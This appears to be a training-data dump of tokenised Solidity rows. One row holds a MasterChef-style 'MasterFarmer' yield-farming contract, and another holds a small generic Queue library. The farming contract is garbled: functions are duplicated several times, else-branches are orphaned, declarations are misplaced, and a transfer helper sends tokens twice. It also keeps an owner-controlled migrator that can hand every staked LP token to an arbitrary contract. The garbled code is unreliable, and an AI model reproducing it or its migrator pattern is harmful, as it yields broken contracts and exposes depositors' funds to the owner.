| 6,147,983 | [
1,
8732,
20279,
38,
6909,
4243,
225,
9587,
265,
478,
266,
2540,
2616,
261,
36,
72,
1385,
90,
1060,
2801,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
5831,
10897,
20279,
38,
6909,
4243,
288,
203,
565,
445,
1744,
4109,
12,
203,
3639,
1426,
1696,
16,
203,
3639,
2254,
5034,
679,
7843,
16,
203,
3639,
2254,
5034,
943,
7843,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
9882,
1769,
203,
203,
565,
445,
1704,
12,
11890,
5034,
9882,
13,
3903,
1476,
1135,
261,
6430,
1769,
203,
203,
565,
445,
666,
20175,
1012,
12,
203,
3639,
2254,
5034,
9882,
16,
203,
3639,
2254,
5034,
1384,
16,
203,
3639,
2254,
5034,
1800,
203,
565,
262,
3903,
1476,
1135,
261,
2867,
8526,
3778,
666,
1769,
203,
203,
565,
445,
4104,
1380,
12,
11890,
5034,
9882,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
203,
203,
565,
445,
353,
10868,
12,
2867,
866,
16,
2254,
5034,
9882,
13,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
6430,
1769,
203,
203,
565,
445,
1744,
4497,
774,
12,
11890,
5034,
9882,
16,
1758,
8526,
3778,
324,
481,
2377,
13,
203,
3639,
3903,
31,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
20,
31,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/42/0x683ea1e2B601470bB0C6d387b066D478ba814079/sources/CropsToken.sol | MasterFarmer is the master of Crops. He can make Crops and he is a fair guy. Note that it's ownable and the owner wields tremendous power. The ownership will be transferred to a governance smart contract once CROPS is sufficiently distributed and the community can show to govern itself. Have fun reading it. Hopefully it's bug-free. God bless. Info of each user. | contract MasterFarmer is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
struct UserInfo {
}
struct PoolInfo {
}
event Deposit(address indexed user, uint256 indexed pid, uint256 amount);
event Withdraw(address indexed user, uint256 indexed pid, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount);
constructor(
CropsToken _crops,
address _devaddr,
uint256 _cropsPerBlock,
uint256 _startBlock,
uint256 _bonusEndBlock
CropsToken public crops;
address public devaddr;
uint256 public bonusEndBlock;
uint256 public cropsPerBlock;
uint256 public constant BONUS_MULTIPLIER = 10;
IMigratorChef public migrator;
PoolInfo[] public poolInfo;
mapping (uint256 => mapping (address => UserInfo)) public userInfo;
uint256 public totalAllocPoint = 0;
uint256 public startBlock;
) public {
crops = _crops;
devaddr = _devaddr;
cropsPerBlock = _cropsPerBlock;
bonusEndBlock = _bonusEndBlock;
startBlock = _startBlock;
}
function poolLength() external view returns (uint256) {
return poolInfo.length;
}
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCropsPerShare: 1
}));
}
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCropsPerShare: 1
}));
}
function add(uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock;
totalAllocPoint = totalAllocPoint.add(_allocPoint);
poolInfo.push(PoolInfo({
lpToken: _lpToken,
allocPoint: _allocPoint,
lastRewardBlock: lastRewardBlock,
accCropsPerShare: 1
}));
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner {
if (_withUpdate) {
massUpdatePools();
}
totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint);
poolInfo[_pid].allocPoint = _allocPoint;
}
function setMigrator(IMigratorChef _migrator) public onlyOwner {
migrator = _migrator;
}
function migrate(uint256 _pid) public {
require(address(migrator) != address(0), "migrate: no migrator");
PoolInfo storage pool = poolInfo[_pid];
IERC20 lpToken = pool.lpToken;
uint256 bal = lpToken.balanceOf(address(this));
lpToken.safeApprove(address(migrator), bal);
IERC20 newLpToken = migrator.migrate(lpToken);
require(bal == newLpToken.balanceOf(address(this)), "migrate: bad");
pool.lpToken = newLpToken;
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
return _to.sub(_from);
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
function getMultiplier(uint256 _from, uint256 _to) public view returns (uint256) {
if (_to <= bonusEndBlock) {
return _to.sub(_from).mul(BONUS_MULTIPLIER);
return _to.sub(_from);
return bonusEndBlock.sub(_from).mul(BONUS_MULTIPLIER).add(
_to.sub(bonusEndBlock)
);
}
}
} else if (_from >= bonusEndBlock) {
} else {
function pendingCrops(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accCropsPerShare = pool.accCropsPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cropsReward = multiplier.mul(cropsPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accCropsPerShare = accCropsPerShare.add(cropsReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accCropsPerShare).div(1e12).sub(user.rewardDebt);
}
function pendingCrops(uint256 _pid, address _user) external view returns (uint256) {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][_user];
uint256 accCropsPerShare = pool.accCropsPerShare;
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (block.number > pool.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cropsReward = multiplier.mul(cropsPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
accCropsPerShare = accCropsPerShare.add(cropsReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accCropsPerShare).div(1e12).sub(user.rewardDebt);
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function massUpdatePools() public {
uint256 length = poolInfo.length;
for (uint256 pid = 0; pid < length; ++pid) {
updatePool(pid);
}
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cropsReward = multiplier.mul(cropsPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
crops.mint(address(this), cropsReward);
pool.accCropsPerShare = pool.accCropsPerShare.add(cropsReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cropsReward = multiplier.mul(cropsPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
crops.mint(address(this), cropsReward);
pool.accCropsPerShare = pool.accCropsPerShare.add(cropsReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function updatePool(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 lpSupply = pool.lpToken.balanceOf(address(this));
if (lpSupply == 0) {
pool.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(pool.lastRewardBlock, block.number);
uint256 cropsReward = multiplier.mul(cropsPerBlock).mul(pool.allocPoint).div(totalAllocPoint);
crops.mint(address(this), cropsReward);
pool.accCropsPerShare = pool.accCropsPerShare.add(cropsReward.mul(1e12).div(lpSupply));
pool.lastRewardBlock = block.number;
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCropsPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCropsTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCropsPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCropsPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCropsTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCropsPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCropsPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCropsTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCropsPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function deposit(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
updatePool(_pid);
if (user.amount > 0) {
uint256 pending = user.amount.mul(pool.accCropsPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCropsTransfer(msg.sender, pending);
}
}
if(_amount > 0) {
pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount);
user.amount = user.amount.add(_amount);
}
user.rewardDebt = user.amount.mul(pool.accCropsPerShare).div(1e12);
emit Deposit(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accCropsPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCropsTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accCropsPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accCropsPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCropsTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accCropsPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function withdraw(uint256 _pid, uint256 _amount) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
require(user.amount >= _amount, "withdraw: not good");
updatePool(_pid);
uint256 pending = user.amount.mul(pool.accCropsPerShare).div(1e12).sub(user.rewardDebt);
if(pending > 0) {
safeCropsTransfer(msg.sender, pending);
}
if(_amount > 0) {
user.amount = user.amount.sub(_amount);
pool.lpToken.safeTransfer(address(msg.sender), _amount);
}
user.rewardDebt = user.amount.mul(pool.accCropsPerShare).div(1e12);
emit Withdraw(msg.sender, _pid, _amount);
}
function emergencyWithdraw(uint256 _pid) public {
PoolInfo storage pool = poolInfo[_pid];
UserInfo storage user = userInfo[_pid][msg.sender];
pool.lpToken.safeTransfer(address(msg.sender), user.amount);
emit EmergencyWithdraw(msg.sender, _pid, user.amount);
user.amount = 0;
user.rewardDebt = 0;
}
function safeCropsTransfer(address _to, uint256 _amount) internal {
uint256 cropsBal = crops.balanceOf(address(this));
if (_amount > cropsBal) {
crops.transfer(_to, cropsBal);
crops.transfer(_to, _amount);
}
}
function safeCropsTransfer(address _to, uint256 _amount) internal {
uint256 cropsBal = crops.balanceOf(address(this));
if (_amount > cropsBal) {
crops.transfer(_to, cropsBal);
crops.transfer(_to, _amount);
}
}
} else {
} | 3,345,093 | [
1,
7786,
42,
4610,
264,
353,
326,
4171,
434,
385,
16703,
18,
8264,
848,
1221,
385,
16703,
471,
3904,
353,
279,
284,
1826,
3058,
93,
18,
3609,
716,
518,
1807,
4953,
429,
471,
326,
3410,
341,
491,
87,
268,
2764,
409,
1481,
7212,
18,
1021,
23178,
903,
506,
906,
4193,
358,
279,
314,
1643,
82,
1359,
13706,
6835,
3647,
385,
1457,
5857,
353,
18662,
715,
16859,
471,
326,
19833,
848,
2405,
358,
314,
1643,
82,
6174,
18,
21940,
9831,
6453,
518,
18,
670,
1306,
4095,
518,
1807,
7934,
17,
9156,
18,
611,
369,
324,
2656,
18,
3807,
434,
1517,
729,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
13453,
42,
4610,
264,
353,
14223,
6914,
288,
203,
565,
1450,
14060,
10477,
364,
2254,
5034,
31,
203,
565,
1450,
14060,
654,
39,
3462,
364,
467,
654,
39,
3462,
31,
203,
203,
565,
1958,
25003,
288,
203,
565,
289,
203,
203,
565,
1958,
8828,
966,
288,
203,
565,
289,
203,
203,
203,
203,
565,
871,
4019,
538,
305,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
3423,
9446,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
565,
871,
512,
6592,
75,
2075,
1190,
9446,
12,
2867,
8808,
729,
16,
2254,
5034,
8808,
4231,
16,
2254,
5034,
3844,
1769,
203,
203,
565,
3885,
12,
203,
3639,
385,
16703,
1345,
389,
71,
16703,
16,
203,
3639,
1758,
389,
5206,
4793,
16,
203,
3639,
2254,
5034,
389,
71,
16703,
2173,
1768,
16,
203,
3639,
2254,
5034,
389,
1937,
1768,
16,
203,
3639,
2254,
5034,
389,
18688,
407,
1638,
1768,
203,
565,
385,
16703,
1345,
1071,
276,
16703,
31,
203,
565,
1758,
1071,
4461,
4793,
31,
203,
565,
2254,
5034,
1071,
324,
22889,
1638,
1768,
31,
203,
565,
2254,
5034,
1071,
276,
16703,
2173,
1768,
31,
203,
565,
2254,
5034,
1071,
5381,
605,
673,
3378,
67,
24683,
2053,
654,
273,
1728,
31,
203,
565,
6246,
2757,
639,
39,
580,
74,
1071,
30188,
31,
203,
565,
8828,
966,
8526,
1071,
2845,
966,
31,
203,
565,
2874,
261,
11890,
5034,
516,
2874,
261,
2867,
516,
25003,
3719,
1071,
16753,
31,
203,
565,
2254,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @title Queue
* @author Erick Dagenais (https://github.com/edag94)
* @dev Implementation of the queue data structure, providing a library with struct definition for queue storage in consuming contracts.
*/
library Queue {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Queue type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
// Based off the pattern used in https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/structs/EnumerableSet.sol[EnumerableSet.sol] by OpenZeppelin
struct QueueStorage {
mapping (uint256 => bytes32) _data;
uint256 _first;
uint256 _last;
}
modifier isNotEmpty(QueueStorage storage queue) {
require(!_isEmpty(queue), "Queue is empty.");
_;
}
/**
* @dev Sets the queue's initial state, with a queue size of 0.
* @param queue QueueStorage struct from contract.
*/
function _initialize(QueueStorage storage queue) private {
queue._first = 1;
queue._last = 0;
}
/**
* @dev Gets the number of elements in the queue. O(1)
* @param queue QueueStorage struct from contract.
*/
function _length(QueueStorage storage queue) private view returns (uint256) {
if (queue._last < queue._first) {
return 0;
}
return queue._last - queue._first + 1;
}
/**
* @dev Returns if queue is empty. O(1)
* @param queue QueueStorage struct from contract.
*/
function _isEmpty(QueueStorage storage queue) private view returns (bool) {
return _length(queue) == 0;
}
/**
* @dev Adds an element to the back of the queue. O(1)
* @param queue QueueStorage struct from contract.
* @param data The added element's data.
*/
function _enqueue(QueueStorage storage queue, bytes32 data) private {
queue._data[++queue._last] = data;
}
/**
* @dev Removes an element from the front of the queue and returns it. O(1)
* @param queue QueueStorage struct from contract.
*/
function _dequeue(QueueStorage storage queue) private isNotEmpty(queue) returns (bytes32 data) {
data = queue._data[queue._first];
delete queue._data[queue._first++];
}
/**
* @dev Returns the data from the front of the queue, without removing it. O(1)
* @param queue QueueStorage struct from contract.
*/
function _peek(QueueStorage storage queue) private view isNotEmpty(queue) returns (bytes32 data) {
return queue._data[queue._first];
}
/**
* @dev Returns the data from the back of the queue. O(1)
* @param queue QueueStorage struct from contract.
*/
function _peekLast(QueueStorage storage queue) private view isNotEmpty(queue) returns (bytes32 data) {
return queue._data[queue._last];
}
// Bytes32Queue
struct Bytes32Queue {
QueueStorage _inner;
}
/**
* @dev Sets the queue's initial state, with a queue size of 0.
* @param queue Bytes32Queue struct from contract.
*/
function initialize(Bytes32Queue storage queue) internal {
_initialize(queue._inner);
}
/**
* @dev Gets the number of elements in the queue. O(1)
* @param queue Bytes32Queue struct from contract.
*/
function length(Bytes32Queue storage queue) internal view returns (uint256) {
return _length(queue._inner);
}
/**
* @dev Returns if queue is empty. O(1)
* @param queue Bytes32Queue struct from contract.
*/
function isEmpty(Bytes32Queue storage queue) internal view returns (bool) {
return _isEmpty(queue._inner);
}
/**
* @dev Adds an element to the back of the queue. O(1)
* @param queue Bytes32Queue struct from contract.
* @param data The added element's data.
*/
function enqueue(Bytes32Queue storage queue, bytes32 data) internal {
_enqueue(queue._inner, data);
}
/**
* @dev Removes an element from the front of the queue and returns it. O(1)
* @param queue Bytes32Queue struct from contract.
*/
function dequeue(Bytes32Queue storage queue) internal returns (bytes32 data) {
return _dequeue(queue._inner);
}
/**
* @dev Returns the data from the front of the queue, without removing it. O(1)
* @param queue Bytes32Queue struct from contract.
*/
function peek(Bytes32Queue storage queue) internal view returns (bytes32 data) {
return _peek(queue._inner);
}
/**
* @dev Returns the data from the back of the queue. O(1)
* @param queue Bytes32Queue struct from contract.
*/
function peekLast(Bytes32Queue storage queue) internal view returns (bytes32 data) {
return _peekLast(queue._inner);
}
// AddressQueue
struct AddressQueue {
QueueStorage _inner;
}
/**
* @dev Sets the queue's initial state, with a queue size of 0.
* @param queue AddressQueue struct from contract.
*/
function initialize(AddressQueue storage queue) internal {
_initialize(queue._inner);
}
/**
* @dev Gets the number of elements in the queue. O(1)
* @param queue AddressQueue struct from contract.
*/
function length(AddressQueue storage queue) internal view returns (uint256) {
return _length(queue._inner);
}
/**
* @dev Returns if queue is empty. O(1)
* @param queue AddressQueue struct from contract.
*/
function isEmpty(AddressQueue storage queue) internal view returns (bool) {
return _isEmpty(queue._inner);
}
/**
* @dev Adds an element to the back of the queue. O(1)
* @param queue AddressQueue struct from contract.
* @param data The added element's data.
*/
function enqueue(AddressQueue storage queue, address data) internal {
_enqueue(queue._inner, bytes32(uint256(uint160(data))));
}
/**
* @dev Removes an element from the front of the queue and returns it. O(1)
* @param queue AddressQueue struct from contract.
*/
function dequeue(AddressQueue storage queue) internal returns (address data) {
return address(uint160(uint256(_dequeue(queue._inner))));
}
/**
* @dev Returns the data from the front of the queue, without removing it. O(1)
* @param queue AddressQueue struct from contract.
*/
function peek(AddressQueue storage queue) internal view returns (address data) {
return address(uint160(uint256(_peek(queue._inner))));
}
/**
* @dev Returns the data from the back of the queue. O(1)
* @param queue AddressQueue struct from contract.
*/
function peekLast(AddressQueue storage queue) internal view returns (address data) {
return address(uint160(uint256(_peekLast(queue._inner))));
}
// Uint256Queue
struct Uint256Queue {
QueueStorage _inner;
}
/**
* @dev Sets the queue's initial state, with a queue size of 0.
* @param queue Uint256Queue struct from contract.
*/
function initialize(Uint256Queue storage queue) internal {
_initialize(queue._inner);
}
/**
* @dev Gets the number of elements in the queue. O(1)
* @param queue Uint256Queue struct from contract.
*/
function length(Uint256Queue storage queue) internal view returns (uint256) {
return _length(queue._inner);
}
/**
* @dev Returns if queue is empty. O(1)
* @param queue Uint256Queue struct from contract.
*/
function isEmpty(Uint256Queue storage queue) internal view returns (bool) {
return _isEmpty(queue._inner);
}
/**
* @dev Adds an element to the back of the queue. O(1)
* @param queue Uint256Queue struct from contract.
* @param data The added element's data.
*/
function enqueue(Uint256Queue storage queue, uint256 data) internal {
_enqueue(queue._inner, bytes32(data));
}
/**
* @dev Removes an element from the front of the queue and returns it. O(1)
* @param queue Uint256Queue struct from contract.
*/
function dequeue(Uint256Queue storage queue) internal returns (uint256 data) {
return uint256(_dequeue(queue._inner));
}
/**
* @dev Returns the data from the front of the queue, without removing it. O(1)
* @param queue Uint256Queue struct from contract.
*/
function peek(Uint256Queue storage queue) internal view returns (uint256 data) {
return uint256(_peek(queue._inner));
}
/**
* @dev Returns the data from the back of the queue. O(1)
* @param queue Uint256Queue struct from contract.
*/
function peekLast(Uint256Queue storage queue) internal view returns (uint256 data) {
return uint256(_peekLast(queue._inner));
}
} | * @dev Adds an element to the back of the queue. O(1) @param queue Bytes32Queue struct from contract. @param data The added element's data./ | function enqueue(Bytes32Queue storage queue, bytes32 data) internal {
_enqueue(queue._inner, data);
}
| 5,372,099 | [
1,
3655,
392,
930,
358,
326,
1473,
434,
326,
2389,
18,
531,
12,
21,
13,
225,
2389,
5985,
1578,
3183,
1958,
628,
6835,
18,
225,
501,
1021,
3096,
930,
1807,
501,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
12850,
12,
2160,
1578,
3183,
2502,
2389,
16,
1731,
1578,
501,
13,
2713,
288,
203,
3639,
389,
21798,
12,
4000,
6315,
7872,
16,
501,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
